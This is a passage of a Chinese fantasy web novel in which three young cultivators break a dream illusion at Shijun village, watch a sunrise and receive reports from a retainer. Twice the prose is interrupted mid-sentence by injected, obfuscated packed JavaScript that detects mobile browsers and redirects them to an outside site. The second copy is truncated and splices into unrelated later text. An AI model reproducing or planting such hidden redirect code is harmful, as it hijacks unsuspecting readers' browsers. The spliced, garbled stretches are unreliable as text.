人吃人的惨剧早就使石筠村成了一片恶鬼亡魂长聚的阴邪之地,也是在此之后,苑山才真正成了怨山。 霎时间冷汗涔涔,他这才明白,先前几人入村察觉到的眼神不来自于人,而来自鬼。 “这……”,魏长停撩起额间垂发,抖落了其间凛凛挂着的碎冰。 “没有方向……寻常阵法根本不会寻不到方向,北若非北,骗得了人,骗不了这七星指路阵……” “所以这究竟是哪?”,魏长停本一副倚着门地慵懒样,这会也挺直了身,皱眉问。 “梦,”,顾於眠踩上吱呀响的木阶,“说是幻境也成。” 像是刹那拨云见日,迷雾中的一切逐渐清晰起来。 陨懔阁之所以来无影去无踪,不是他们出神入化的术法使然,只是脱离幻境,便若身处两地。 而莫老人呢?大家都想着往村外跑,也因而身首异处。却只有他一人回到了石筠村。 为何? 挨了好运么? 还是因为每个回到了石筠村的人都只是自己以为而已? 所有人都活在梦里。在各自的梦里,每个人都是幸存者,每个人都自以为活了下来,殊不知是活在了哪个无间地狱。 苑山人永远也走不出幻梦,没人知道自己已然非人,而是徒劳在错觉中活着。 “依你所言,既莫老人活着,所以这是莫老人的梦?”,魏长停又问。 另一屋的严卿序恰好带着些凝重走出门来,顾於眠瞥了眼严卿序那副心神不宁的模样,摇了摇头。 不对。 “他也死了不是么?” 他为何会死?这不是他该是他为自己编造的梦吗?怎会就如此死了呢? 已是梦中王,缘何死得凄惨? 还是不对,远没那么简单。 从始至终在忙活的人,挣扎于苑山的,只有闻风一个而已。 莫老人从始至终没有提及父母妻儿,只若一个行尸走肉地存活于世间。 而闻风不一样,他亲眼目睹胞妹死于易子而食的石筠,又为了生存不得不弑父杀母。大雪封山,是他给莫老人带去野菜树皮;寒冬凛冽,嗅不得屋中腥臭,他却清楚哪家存有尸骨。 这是闻风的梦。 在他的梦里,他以一腔扭曲的正气,与恶鬼周旋,换得暮春雪,冻死无情人。 在他的梦里,该死之人皆死无葬身之地,该活之人在寻过出山路后也能安然回返。 他只不过迷蒙中错以为恶鬼予自己以救命稻草,因而他从未见过那人的脸。这也是为何其余人家里干干净净的无一丝半点阴气,偏偏闻风这屋子怨气惊人。 莫老人会死,是因为,梦主人闻风死了。 而闻风已死,梦却不散,则是因为这梦本就不是闻风造出来的。 再言之,那对喜尸不纠缠顾於眠不是因为他们不想杀人,是他们在虚无缥缈的梦中本就触不到顾於眠。但超脱于现实与虚幻的顾於眠却可以轻松杀掉喜尸。 天不公。 不公的是罹难者惟有梦中才能活下去,非梦之所连一个活人都没有! 还有呢? 究竟背后还有什么是他没想到的?如何破此阵?这阵究竟是什么人设下的? 顾於眠望着无边的白雪思索着,愈是迫切地想望穿这风雪,愈是头疼欲裂。 魏长停揉了揉眉心,“我理理思绪……” 严卿序沉思了会,道:“既这阵是闻风之梦,他所期盼的消散了,那……岂不是厌恶的,会卷土重来么?死人可会醒?” 醒?醒! 顾於眠终于知道了“怨山葬白骨,凄凄送亡人”之意。 苑山外的人不敢入山,怕成了活死人,入山即入梦,顾於眠他们现在可不正是活死人吗? 他们需要从虚无梦中醒,又该如何做? 既然死者存于梦中扮生者,那便是死生倒置,死便是生,生即是死! “卿序帮个忙吧?”,顾於眠笑着回过身去。 “什么?” “杀了我。” “……” 严卿序和魏长停仔细琢磨了一下顾於眠的想法,这才犹豫着点了头。 只是终究放心不下,这可是关乎性命的大事,不是随随便便就可以作出决定的,任谁死在这,都不好交代。 于是,三人变着法子试梦,终于在一遍遍地御剑失败同召亡人失败后确信如今处幻境中来。 要死也得死的容易些,可不能互相欠下人情债,任谁来杀人都不大乐意,三人于是一把火烧了闻风那阴森森的屋子。 “哥哥们帮你把所谓罪恶给烧了吧?要什么暮春雪呐~”,魏长停勾唇笑得灿烂,倒不似个要去“送死”的人,只见他爽快地踏入了屋中,随意寻了个角落便干脆地坐下了。 大火在狂风的呼啸中愈燃欲烈,霎时间满目只剩灼灼烈焰。 严卿序叹了口气,安慰顾於眠说毕竟是梦,不疼的,于是拉着顾於眠踏入烈火熊熊的里屋,合上门来。 “若能就这样死了就好了。”,大火中不知谁轻轻说了句。 火星喷溅于满天白雪中,枯枝上落下的冰棱坠入烈火,化作涓涓细流,淌过坍塌的屋檐,在灰烬中沾染尘土。 倒在屋中的三人躯体被细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775673|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎的粉尘盖了个尽,呛人的浓雾沾染净澈白雪,给一尘不染的世界添了无数阴霾。 只听得轰隆隆几声巨响,天地碎裂开来,浓血从地底涌出,又从天边垂下,如血瀑空中来,淹没万里山河。 “轰隆隆”,电闪雷鸣狂怒着撕扯苍穹,天幕上裂痕累累,恍惚中若无数鬼魅即将倾巢而出。 “阿眠!替我好好活着吧!” 恍惚中又听见故人唤他,顾於眠费力地睁开眼来,这才发现自己躺在地上,白衣上沾了不少尘土,脏得不像样。方才扎好的发也散乱开来,随意地披散于尘泥间。 顾於眠没有心思去管那么多,只想弄清自己究竟身处何方,他强撑着起身,抬头的一刹却一下愣住了。 眼前是不高的木制牌坊,其上赫然挂着“石筠村”三字牌匾。 只是,那牌匾在岁月的磨蚀下已是腐朽不堪,微风拂来,那牌坊还要颤上几颤,似乎只要蛮力一推,便会倒下。 顾於眠看得入了神,连一旁的严卿序和魏长停挣扎着爬起身来也没意识到。 “哈……果真不疼呢,只是这头晕眼花的,着实难受,”,魏长停喘着粗气站起身,倚住一棵长势喜人的树,又从袖中拿出自己那把绘着山河腊梅的折扇来在胸口处扇了扇,另一手则不断拍落身上沾的尘土,“还真狼狈呢……” “嗯……”,严卿序晃晃脑袋,见顾於眠沉默着不知在想什么,于是轻轻将那双长而白皙的手落在他的肩头,“怎么了?” 顾於眠摇了摇头,只默默牵起他的手,拉着他进了村。 村中不剩什么了,断壁残垣上爬满了青苔,蛛网填满了倒塌的石柱间的缝隙,散落的稻草上还有爬虫低吟,萧瑟悲戚之感融入远方断断续续的猿鸣声中,逐渐飘散开。 泥筑的墙挡得了多少次风雪的侵袭?坍塌的房屋下不知埋了多少的白骨。 顾於眠愣在原地,松开了牵着严卿序的手,默默无言。 严卿序也没说话,只是立在春风中,像一尊佛,无限悲悯从眸间淌出。 “这就是盛世太平中的百姓。”,只听得一陌生语音落地,若一颗石子落入了清泉之中,温温砸出水花来。 没有一点足音,也未携半缕杀气,那人便站在了顾於眠身侧。顾於眠有些漠然地回头,轻声问:“您是?” 那三十四五岁的人,立得直挺,没有回答,只是垂下眸来,岁月的狡诈斑驳自面上皱纹间显露。 他将手中的长剑插在地上,然后跪了下来,对着那村中房屋磕了几个头。 他说:“织梦的人。” 不知为何,三人都没有为之讶异,也没有一刹防备,只是默默看着他。看他像个极虔诚的信徒,叩拜天地。 最后一拜,他将头狠狠地磕在地上,久久没有抬起。 “天地间不该再有生灵涂炭之事发生了。”,那人喃喃自语。 “孩子,把手张开吧,”,只听那人沉沉地对顾於眠道,“我们都是罪人,不配获得任何人的原谅。” 顾於眠像中了邪,不知怎地就乖乖伸出了手,继而,一块玄色兵符碎片就落入了手心间。 顾於眠一惊,再抬头看,那人已不见了踪影,泪水却不知怎地流了满脸。 天不公。 一纸鸿雁过,他墨玉般的信仰碎了满地,成了白纸上的污尘。天不公!忠臣如何是“忠”?信君,还是叛君? 墨无伶一声令下,所谓“忠臣”领兵南下,而真正不磷不缁者自刎请辞,但他不行,墨家有恩于他。 所谓的“琨玉秋霜”,终究在不明不白的忠义下成了千万人唾弃的黑漆皮灯。 他麻木地于昏君的指令下行不轨之事,杀人如儿戏。 墨祯,到死都是名副其实的墨家第一将军。 白羽摘雕弓【1】,玄剑震西风。 他一袭戎装守的本该是墨家的楼阁不倾,护的本该是黎民百姓一世安心畅意。 然而墨门之变,忠孝难两全,择了墨家,弃了百姓,他流着血泪挥剑斩杀过往奉自己作神明的黔首,含着苦痛弯弓将千万支箭射入坚守不开的城。 城破,楼空。 他沾了满手的腥血,他对不起陌成的民。 灿灿金光盈满周遭,一刹之间,又化作漫天落花,雪白的瓣飘散一地。 哪有什么暮春雪,有的不过是不公的天罢了。 魏长停弯腰拾起几片花瓣,原来是梨花,再望向村周围,如雪白梨一树树都开满了,接连几里不绝不息,给那荒村添了些不可玷污的洁白。 过去那些苦痛的岁月,那些饥寒交迫时岁里犯下的错、还不清的血债,皆尽化作了十里春风中的细碎尘埃,埋进厚土,成了润泽白梨的春泥。 “我们都是罪人,”,魏长停想起墨祯方才说的话来,竟勾唇一笑,“如何才算有罪?生死有时都是罪。” 顾於眠将那兵符紧紧攥在手心,又胡乱地用袖子抹去了脸上的泪,他不知道为何落了泪,只是心中还若悬着什么,落不了地。 他默默将兵符放入锁灵囊,回身对严卿序故作轻松道:“可算结束了。” 严卿序深深望着顾於眠,只见眼前人一身翩翩月白色长袍,衣间环绕顾家浅色兰纹。 他眉目舒缓,眼中笑意浅浅,恍若新春清雨,润物无声之间。面容白皙酥软,若初冬茸茸小雪覆于山河之间,令人不忍移目。 只是剑眉微蹙,若青山之竹间含些化不开的愁,温润尔雅中带上了些许淡漠。 他知道三年前那个目之可见的轻快活泼的少年一去不返了。 顾於眠淡蓝衣襟翩跹于春风中,乌发在风中凌乱地飘散开。 “於眠,我帮你束发吧?”,严卿序说着从袖袋中取出方才顾於眠落下的簪与发冠来,上边淌的血早早便被严卿序清洗干净了。 顾於眠见了那簪与冠是又惊又喜,他向来是个恋旧的人,平日随身之物不觉也生了感情,但碍于那时情况危急,也没敢去寻。 这会见了,笑容一下又灿烂起来,心情竟也莫名明朗。 “不愧是卿序,当真是无所不能!那便谢过了!” “我也行呐~”,魏长停本要脱口而出,见严卿序和顾於眠两人都笑着,如画中人于微光中熠熠,突觉这短短安宁本就该属于他们似的。 于是他没再开口,只勾唇藏笑,望着严卿序给顾於眠束发,轻声说了句—— “从此无心爱良夜,任他明月下西楼。”【2】 14. 日出 “日出雾露馀,青松如膏沐。【1】”魏长停摇着檀木扇,嘴中吟着诗,悠哉游哉。 他言罢将扇子遽然一合,手朝东面的上山小径一指:“天色暗了,这会下山又疲又倦,倒不如同我至山顶观日出。” 顾、严二人点头得干脆,瞧上去亦是兴致盎然。 魏长停是个从心所欲的风流客,他从来无拘无束,如是渭于夜里的一场骤雨,来得突然,去得匆匆。 他最擅与人相交,一张嘴中生得伶牙俐齿,开开合合间足令听者变换心意,可惜从他这张蜜罐子似的嘴里出来的甜言几乎皆送给了青楼人。他平日纵欲浮夸,像是住在了那楼中,寻花问柳,没个尽头。 谢尘吾最为讨厌的便是魏长停这点——拈花惹草,时不时“抛声炫俏”。于那有洁疾还好清静的谢氏公子而言,魏长停是个惊天雷,日日在他耳边炸,二人争执全凭魏长停那能屈能伸的性子以及严卿序的好言相劝来化解。 “实不相瞒,卿序呐,在咱渭于,摸了良家子头发可算玷污了他人清白,得负责的。” 即便严卿序早知那魏长停是个喜欢胡邹八扯之人,闻言还是红了耳。他的指尖微微一颤,却还是仔细给顾於眠用白绸子束好了发,长指握着长簪仔细插|入乌发间,整理好后方将手收回去。 顾於眠呵呵笑着,还不等严卿序回避,他已笑盈盈转过身来了,赞许道:“可惜卿序是个男郎,否则我定要去严氏提亲呢!这般体贴之人,百年难得一遇。” “原来於眠无心分桃。” 顾於眠莞尔,不经意抬手摸了摸发间月白簪:“我还不清楚呢,需得真正动了心才懂其中滋味吧?” 魏长停意味深长地瞥看严卿序,却见他面上从容,仍旧笑如春风,似乎不很在意。 “卿序真厉害呢。”魏长停没头没尾抛下句话,便迈开步子向前走,将二人丢在了身后。 绛色的长袍于如雪白梨间飘动,像是凛冬一枝梅,那场面秾丽惊目。春光本旖旎,偏他破开柔情,送入些艳景。 ------------------------------------- 这山顶没有人家,夜里是黑黢黢一片,暝芒间万物俱寂,柔和的晚风只是轻轻撩动三人的发,发出沙沙的轻响。 举目四望,依稀能望见远处江边靠岸停歇着几只渔舟,舟上尚点着明烛,白光如星火浮于潮端,顺水而动。再远些,便能瞧见些酒肆人家彻夜挂着灯笼,像乌墨中落了几点白珠,灿灿耀眼。 魏长停抱臂望着山下夜景,眼中淡漠,可那对浅色的眸子一转,又莫名溢出些虚无的喜色来。 他从腰间解下个酒囊,仰首任烈酒入喉,随后将酒囊递给了严卿序。严卿序并未推辞,笑着接过去,也咕咚饮了一大口。 “酣畅不假,只是莫要喝多了,背你下山可要费不少功夫。”魏长停笑开了花,一只手拍着胸脯,得意洋洋,“论酒量,除了千杯不倒的吟离外,我便没输过!” “是是是——”严卿序也笑了。 魏长停伸长手越过严卿序,欲将酒囊递给顾於眠,严卿序见状下意识要拦,谁知顾於眠却笑着接了过去。 “小酌无妨,我也并非沾酒即醉。” 严卿序颔首,却又不自禁抬起眼去看顾於眠的神色。那公子只是小口啜饮,却还是被辣得一拧眉,有酒在这时候沿着他嘴角淌了出来。 严卿序的指尖动了动,却没贸然替他擦去自嘴角下淌的酒,单从怀中取出个白帕递了过去。 顾於眠谢过他,将那帕子拭于唇边时能嗅到同那严氏子一般清新柔和的淡淡熏香气味。他欲勾唇送笑,却不知怎么心里头有些难受,到底没藏住黯然。 酒囊被严卿序握在了手中,他知道顾於眠心底有事,方渴盼借酒消愁。但再浓的酒也终究难填心头壑,一醉梦醒,该来的还是要来,逃不掉的。 顾於眠望着他那双悲悯众生的含情目,知他已有所察觉,于是垂头任发丝藏眼:“卿序,容我倚会吧?” 那君子不是会轻易拒绝之人。 如瀑乌发柔软,顾於眠的脑袋轻轻靠在了严卿序肩头。他阖目,紧蹙的眉心被散发遮住些许,看得并不清晰。 严卿序不敢看他,忧虑僭越无礼,却不能端坐如常,脊背僵直,如伺虎狼。 心动,情动,欲动。 俩个男子,谈情论爱,究竟该不该,又怪不怪?在严卿序真正想明白前,他已落入情渊数年了。 欲可挡,情难消。 他终有一日会坦坦荡荡地告诉顾於眠——他爱他的事实。他不贪天长地久、海枯石烂,只是,好歹叫那公子认清,他眼中清正之人是个心慕同龄友的卑劣之徒,而后是要避而远之还是一切如常,便要看顾於眠自个的选择了。 夜里风凉,他抬手为顾於眠挡去些拂面的风,却在无声无息间任自个身上熏香将顾於眠给浸没了。一时间两香交融,搅得严卿序心绪很乱。 周遭阒然无声,严卿序担心惊扰身侧人,始终僵坐着,愣是一动也不敢动。他尤擅等待,或许下辈子他就该遁入佛门,独守青灯。 可现世,他也不过是个红尘俗人,他习惯性地克制、忍耐,却还是禁不住在夜风袭来的刹那,偷偷侧目去瞧身旁人的睡颜——看他紧蹙的眉心,看他微微颤动的眼睫,看他雪白皓面,看他朱砂薄唇。 本已阖目静心,强止悸动,偏偏那公子的长发柔软,不时要掠过他的脖颈,叫他心中升起些莫名的慌意。 严卿序别过头去,失了从容。 心中如擂鼓阵响,他用右手扯了扯领口,轻轻舒出一口气,方稳下了心绪。 一旁赏景出神而久无言语的魏长停冁然一笑,眼中弥漫着无边的风月轻佻。他手上的檀木扇轻轻晃呀晃,朝外一开,遽然遮在了面前,没头没尾的话在下一刻蹦了出来。 “珠联璧合,锦上添花,我会为你祈福。” “怎么了?”严卿序面上露了笑意,压低声问,“怎么突然说要为我祈福?” “这可需要理由么?我在祝福我的好兄弟来日能同心上人长相厮守,贺新婚,共白头。” 魏长停扬起眉,眼神凝在顾於眠身上,而后一转,又同严卿序四目相对,笑问:“我猜的不错吧?” “嗯,没错。很喜欢,喜欢三年了。” 严卿序望着空中皎月,笑得温柔坦荡,他不曾将此情视作凶兽,更不会矢口否认、避而不谈:“无论后日如何,我都要提前谢过你。但这辈子还很长,暂不提红尘事,我们同尘吾三人需得做一辈子的兄弟才行。” 清辉落于那温润君子如画的眉目间,魏长停眸中人棱角分明,俊逸如天上仙,虽说带着些许清冷,却浑似残雪凝晖,难掩温雅。 他骨子里就是温柔的,只是眉目间生了几星寒意罢了。 魏长停听了那话先是一怔,旋即轻轻扇动了手中扇,藏不住的笑意若涓流从眼底淌出。 “那便做一辈子的兄弟。” ------------------------------------- 少许金光即将拨开层云时,顾於眠睁了眼。他本只想稍作休憩,不曾想竟睡了过去,一夜无梦,却是难得的舒畅。 严卿序见他醒了,微微歪头向他温柔一笑:“於眠,早好呀,睡得如何?” 顾於眠点点头,笑着起身伸腿锤肩:“倒是难得的好觉,只是一想到折磨了你一晚上,心里实在有些过意不去。” “哎呀,於眠,这话说得多生分呐?不过借了一夜肩膀,如何算得上‘折磨’?举手之劳,卿序他也乐意得很呢!是吧,卿序?” 魏长停的笑猖狂恣肆,连握着扇的手都随之抖动。 严卿序只笑着摆摆手,朝顾於眠道了句:“无需在意,不过小事罢了。” 恰在他语声落地的刹那,几道耀目金光遽然穿透浓云,本笼于昏影中的万物霎时被天边焰点燃了。灿灿碎金若喷薄而出的涌泉一泻千里,毫无顾忌般落入溪桥岸柳、长街窄巷。 霞光万丈,斑斓惊丽,万物醒而动。披着一身朝辉的啁啾鸟雀在轻风间拍翼,悠悠然徜徉苍穹之下,自在逍遥。 “此般绝色,如若误了,也太可惜。”魏长停哈哈笑起来,“人心难测,景不欺人。这世道再乱,也难改天地万物之序。” “这景确乎不负我们一夜苦等。但……世若乱,景亦难存。烽烟足烧尽万里草木,今日虽快哉,但单就前几日所见,便不难猜到,日后十五族定将如履薄冰。” “人这一辈子免不了愁肠百转呐。”魏长停垂下眸子,细细品着早风过发的畅快。 怎知顾於眠却摇头道:“我们不过世间客,飞鸿踏雪泥而已,竭虑忧心得愈多,愈是作茧自缚。” 他垂首片刻复又抬头,笑问:“你们可还记得三年前虚妄山之问么?” “自然记得。” “当初我稚气未脱,尚是年少轻狂时候,大肆放言不图荣华,单要‘河清海晏,间无烽烟。逍遥恣肆,枕山而眠’,如今方迟迟悟到,此乃无稽之谈。” 顾於眠喟然长叹,月白的长袍滚滚翻飞,他立在山崖顶,俯瞰河山,如是白衣的道人。 “今朝天地有虎狼窥伺,河清海晏由人不由己。十五族中人,本便无‘逍遥恣肆’一说,子承父业,板上钉钉。遑论我乃家中独子,从心所欲皆不过幻梦一场。” “谁不曾痴心妄想?我当初说可是‘佳人美酒,夜夜逍遥’,只不过虽说这夜夜逍遥倒不至于,但大多时候是逍遥的!”魏长停哈哈大笑,笑着笑着手便搭在了顾於眠和严卿序的肩上。 “你啊……”严卿序有些无奈,却还是任他动手动脚,不加反抗。 “话又说回来,十五族狂人从来数不胜数,裴趋当年也是个实诚之人,我还记得他说的便是——要名扬天下,威震八方,人人皆敬他仰他。但他如今恶名加身,单‘十里火燎’一事便足令他‘名扬天下’了,但要想人人敬仰,又有几分可能?” 魏长停顿了顿才继续:“虚浮的名利最为飘渺,同‘万事胜意’一般,是根本就抓不住的……卿序,你说的什么来着?” 严卿序大大方方道:“四海升平,物阜民康。” “哈……猜都猜得到你同尘吾必是铁骨铮铮的男儿,倒衬得我更不像样了!”魏长停作了个掩面羞愧的表情,装模作样地屈腰叹了口气,却又不知怎么突然正声,“但我不悔。我这人呐,从来不愿背着重担行路,那般活着迟早要把我压死的!” “人各有志,铁骨也不是说出来的。吟离、暮然他们在安晏营中同叛贼厮杀,那才是真正的铁骨。”严卿序仰首望着那愈来愈亮的天,“我也想护这天下百姓无恙,守住太平世。” “现在便是了。”顾於眠对他笑得灿烂,“不是在沙场上拼杀的才叫英雄,青史留名的不全在安晏。” 严卿序回头时,恰对上了顾於眠那双清澈的眸子,他不好意思地摸了摸脖颈,勾唇笑了:“我们该回去了吧?也不知尘吾和念与如何了。” 顾於眠与魏长停皆颔首,却不约而同将目光移到了严卿序身上。 严卿序立于曦光中,似一杆潇潇君子竹,长风过林,青叶翻飞,他却巍然不动,独任细碎晨阳散落满肩。 他干净利落的眉目间没有愁云徘徊不开,他活得潇洒自然。 可那时的他还不知道这片已染上血色的山河有几人在暗中窥伺,也无从得知自己将以怎样的姿态再次立于此地。 岁月失语,无人能道破天机。 ------------------------------------- 三人收拾好行囊下山,方至山口便见前头整整齐齐排着几列许家府兵。一瞧见三人,领头的便迎了过来。 只见那人屈腰抱拳行礼,毕恭毕敬道:“小人乃许大公子的贴身侍卫,名唤‘许诠’,这几日实在苦了三位公子,还望诸位公子宽恕许家思虑不周,未尝料会让奸人所骗。” 严卿序将他的手扶起,只温柔道:“奸人指的可是那领我们上山的老者?” 许诠点点头:“也是我们许氏失职,才对这苑山知之甚少。事发突然,方重金求来懂入山路的当地百姓。但由于行程迫切,因此还未来得及调查清楚那人的底细,直到发觉他下山后便不见了踪影,我们这才知道中了奸人之计。” 闻言,魏长停却笑了,弯弯眉目里像是藏了把刀,这一哂让许诠暗自捏了把汗,只听魏长停问:“怎不入山寻我们?” “我们领兵赶来时,整座山都被法阵所笼罩,不容我们进入。小人自三日前起便守在这,没敢离开,惟恐三位公子途遭不测,实在是抓心挠肝不知如何是好,万幸三位公子平安无事。” 话说一半,许诠给严卿序递去封信:“谢公子命我将此信交给您。此外,如若三位公子不嫌弃,我已经备好了马车、吃食和宿处,可供三位公子先行休整,也算是代许氏向诸位赔个不是。” 许诠将套话说得漂亮,不容魏长停再明嘲暗讽,只是他一怔,才后知后觉地问起山上事来:“冒昧一问,这‘暮春雪’是已经解决了么?” “嗯,详情我会亲自写信知会许大哥的。”顾於眠言罢对许诠挑了挑眉,“你家二公子没让你给我捎封信嘛?” 顾於眠和许昭安从小到大便窝在一块,许诠算看着他俩长大的,二人也算是老相识了。 “自然少不了。”许诠笑着从怀中取出一封信来,“二公子说他近来忙于琐事,难同公子相伴,待他忙完这阵子,定要来陪您。” 顾於眠高高兴兴地接过信:“一言为定。” ------------------------------------- 待三人到宿处休整了一番后,晚月已爬上天穹。星稀的夜,虫鸣听的格外清晰。 悉悉簌簌的竹叶拂动之声扰乱着此间阒然,三人围桌悠坐石亭,身侧便是一湖。清冷月光刚落入湖中便被游动的鱼搅乱了,碎银满湖,凛凛波光映亮了朱红的柱。 “许诠也是个有头有脸的人物呐!”魏长停一只手捏住个饱满的梅子,便往口中送,“许大公子的贴身侍卫单有三人,而三人无一不是名声在外。据传言,其一许梿厌是他的刀,其二许诠是他的目,其三林值是他的耳,许大公子足不出户,便可纵观世事,算是个落棋不见影的英才。” 魏长停仰首,被端起的瓷杯中酒色潋滟,美酒烫喉,他轻轻舒出一口气,面上欢喜:“你们信不信,许家只这三人便赢得了白家的‘十五風卫’?” “風卫乃白氏傀儡,虽说赤胆忠心、竭诚尽节,但一味的顺从却也束缚了手脚。”顾於眠望向那片明澈的清湖,见晚风掀起了微澜,发皱的水面上清辉亦在起伏,“風卫没有心,可许家三人不仅有心,还有情。” “视人作刍狗,只可能养熟宅邸疯犬,出不了谋士……也罢,各家有各家的行事风格,下人自然是胜心最好。”魏长停一哂,见旁边严卿序埋头读信不语,又问,“尘吾信中说了什么?” “说是谢地一地起了怪病,倒也不是瘟疫什么的。但近来风声满城,据说那地方以前是处万人窟,埋了不少死人,用血水浇灌的地最后生出了些歪歪扭扭的毒草,恐怕有些棘手,所以他赶回谢家去了。” “念与……呢?尘吾不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那侍女不敢对上摄魂的眸子,仅微微抬袖掩唇,面上已染桃红,腰肢轻颤,低声嗫嚅,分明一副欲迎还拒的模样。 “长停,可莫要再调笑姑娘们了,把人家给吓跑了该如何是好?主人家的贵客所求又不容她们拒绝,得多委屈呐?何况,因此落下个佻薄的名声,亦是得不偿失。” 顾於眠轻轻摇头,却其实并不知道这亭中侍女本便是主人家心思不纯事先安排好的,可偏偏是无心之言,叫方才那同魏长停眉来眼去的侍女突地满脸通红,一时手忙脚乱起来。 魏长停见状,知道氛围已不对,也松开握着侍女的手,无奈笑笑。 “於眠还真是不解风情呐。” 严卿序同魏长停一齐长大,自然明白魏长停那多情的性子是几匹马都拉不回来的,也清楚魏长停从不会强人所难,你情我愿之事他自然无由阻拦。 因而每至这种时候,他只能装聋作哑,静心饮酒,仿若周遭一切都同他无关了,端坐得像尊无欲无求的佛,独守清净,放空自我。 谁知这会被顾於眠坏了好事,魏长停没尝到甜头,于是又揽上了严卿序的肩,暧昧道:“罢了罢了,身边都有这么两个大美人了,我便安生做会正人君子吧。” 严卿序无奈地随着魏长停的轻晃前后摇动,花前月下,三人品茶酌酒,谈笑风生,很快将那从苑山上带来的不快尽数抛诸脑后。 然而,千万丈深渊底有暗流涌动,不经意间,天罗地网已然展开。 ------------------------------------- 子时,顾於眠坐在屋中,身旁站着顾家隐卫西娄。 顾氏隐卫共十二人,隐卫皆是自死侍中挑出来的能人,其中除却隐卫之首一人,家主还会亲选四人作为东南西北卫,并称“隐四卫”,以此形成三层分级。 顾家隐卫已换了数代,但每一代之首都被唤作“段钧”,他们的命是顾家给的,自然心甘情愿抛弃旧名,虔诚受了顾氏赐名之恩。 顾家现任家主顾枫少年时也有那么个忠心耿耿的“段钧”,但老天无情,他早早成了为顾家抛头颅洒热血、死不见尸的忠魂。 但一个“段钧”没了,又有无数“段钧”顶了上去,时间长了,也淡忘了故人的模样。在反反复复的叫唤中,只余下了世代不散的主仆情谊。 西娄是隐卫中的“西卫”,他这会刚奉顾於眠之命查完苑山之事,现下同顾於眠相对站着,笑意盈盈。那西娄性子良和,是隐四卫中最温柔的一个。 “西娄,查得如何了?” “回公子,这掌管苑山之地的官唤‘步璋’,归属许地步氏,是个出了名的贪官,平素嚣张跋扈、欺压百姓不说,背地里还勾搭悍匪狂徒,行不轨之事。奈何步家和许家的关系毕竟摆在那,若要处理,大抵有些棘手。” “许家怎么说?是管还是不管?” “许家没给答复,这意思怕是想借公子‘苍巡’之手,除掉这祸根吧?” 顾於眠笑着颔首,边说便在红木凳上坐下了:“若是我,我也这样做,毕竟一不小心便要坏了几代交情,万不能轻举妄动。明日我亲自去会会这步璋,待此事处理得差不多了,我便去陌成寻念与。” “属下还有一物要交予公子。”西娄自怀中取出个册子,“许大公子私下派人将此物送来,说有了此物,公子无事可忧。” “哦?”顾於眠接了那册子不过随意翻看几页,却笑弯了眼,“许大哥果然还是要助我们。” “那属下便先行备好公子下一程需用的物什!”西娄微垂首,面上笑意尤其柔软,“公子本便聪明过人,如今处理起事务也愈发游刃有余了。” 顾於眠闻言抬头,西娄那张笑得温柔的脸映入眸中,只是他脖颈处一道褐色长疤绕了个圈,直逼人想起过去的刀光剑影来。 隐卫从来不是只会陪他侃天侃地的存在,他们暗中护了自己几回? 他不知道。 但他知道,隐卫身上的每一道伤,都是为了顾家。 “还疼吗?”顾於眠伸长手在西娄脖颈处那长疤前停了下来。 西娄笑着摇了摇头:“公子,我都要至而立之年了,这点小伤怎可能让我喊痛?倒是公子要多加注意身子才是,您若抱恙,隐卫们也都病恹恹的,如何都打不起精神呐!” 顾於眠也笑了,于是起身拍了拍他的肩:“要是累了便停下休息会,就说是我说的,可不要学段钧,累垮了可不好。” “是!那属下便先退下了,公子早些休息。” 西娄笑着同顾於眠行礼作别,他打开那雕着鹤纹的窗一跃而出,轻功几下便跃至对面屋顶,将跑远时还不忘同窗前的顾於眠招招手。 顾於眠看着西娄的背影在月色中逐渐模糊,很快隐匿于打更人“天干物燥,小心火烛”的呼声中,看不见了。 晚风撩动顾於眠的发,夜里有些凉,淡淡草药味在房间里弥漫开。顾於眠拉紧披在身上的长袍,喟然长叹。 隐卫乃顾氏的左膀右臂,如今这一群人皆是看着他长大的,但年龄愈大,愈是叫他明白主仆情谊不似兄友交情。 隐卫只是顾家的棋子,他们生是顾家的人,死是顾家的鬼,忘却名姓,好若入了没有回头路的鬼门,只余下满腔忠血,但求护顾家周全,万死不辞。 可顾於眠心底是拿隐卫作家人的,他看得通透,自然清楚,人这一生,牵挂的越多,便愈是束手束脚。然而他抛不却,便只能——作茧自缚。 这俗世本就是金玉泥瓦砌成的牢笼,纵使他摆脱不得,又有谁逃得开呢? 15. 凄晚 百年前,李氏尚为禮间独皇,许地小族步氏时有女入宫,短短一载便尊封贵妃。自此,步氏扶摇直上,享尽荣华。 有道是,一人得道,鸡犬升天。 步家世代从商,尤擅钻营,自认皇亲国戚后,更无视地方望族许氏之威严,屡次寻衅。 天無九十一年墨门乱,囤积居奇的步氏日进斗金,很快富甲一方。加之以溜须拍马的本事代代相传,时至今日,那步氏算是有钱有势。 然而即便平意之争后四地再无人皇,步家照旧摆着个皇亲架子,无法无天。倘若不是步氏族人皆非天生会法术,否则许地易主是早晚的事。 法力无边的神仙想要弄死凡人有如捏死一只小小蝼蚁,偏偏步氏不单敢与许氏夺利,还想方设法将不少暗探安插进了许家府。 换作他族,那些个家主早便翻脸了。奈何许氏家主许暮炤向来是个重情重义的主儿,他碍于往昔交情,至今仍睁一只眼闭一只眼。 许家主如此委曲求全,却无人敢嘲的缘由在于——许长公子许辞闲乃一出了名的疯子。 寻無十一年,许辞闲清扫许家府邸,以所谓“净尘”名义,当众斩杀细作整整五十人。 据说那日庭中血流成河,红艳艳一大摊肉泥被许辞闲踩在脚底。他平静地立于死人堆中,目光在一众跪地的叛贼中缓慢扫动,并最终停在了步氏暗探身上。 